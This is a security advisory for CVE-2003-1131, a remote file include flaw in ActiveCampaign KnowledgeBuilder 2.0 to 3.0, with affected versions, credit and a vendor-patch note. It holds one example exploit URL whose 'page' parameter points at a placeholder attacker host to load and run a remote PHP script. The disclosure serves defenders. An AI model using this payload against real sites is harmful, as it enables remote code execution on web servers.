KnowledgeBuilder Remote File Include Vulnerability

Bugtraq ID:	9292
Class:	Unknown
CVE:	CVE-2003-1131
Remote:	Yes
Local:	No
Published:	Dec 24 2003 12:00AM
Updated:	Jul 12 2009 12:56AM
Credit:	Discovery of this issue is credited to Zero_X www.lobnan.de Team <[email protected]>.
Vulnerable:	ActiveCampaign KnowledgeBuilder 3.0 01 ActiveCampaign KnowledgeBuilder 2.1 04 ActiveCampaign KnowledgeBuilder 2.1 00 ActiveCampaign KnowledgeBuilder 2.0 01
Not Vulnerable:	ActiveCampaign KnowledgeBuilder 2.201

KnowledgeBuilder Remote File Include Vulnerability

KnowledgeBuilder is prone to a remote file include vulnerability. An attacker could exploit this to cause hostile PHP scripts to be included and executed from a remote server. This would occur in the security context of the web server hosting the software.

KnowledgeBuilder Remote File Include Vulnerability

This issue may be exploited with the following example:

http://www.example.com/kb/index.php?page=http://[attacker's_host]/[attacker's_script]

KnowledgeBuilder Remote File Include Vulnerability

Solution:
The vendor has released a patch to address this issue. Users are advised to contact the vendor for further details regarding obtaining and applying a relevant patch.

KnowledgeBuilder Remote File Include Vulnerability

References:

• KnowledgeBuilder Homepage (ActiveCampaign)
  
• Remote Code Execution in Knowledge Builder. (Zero_X www.lobnan.de Team )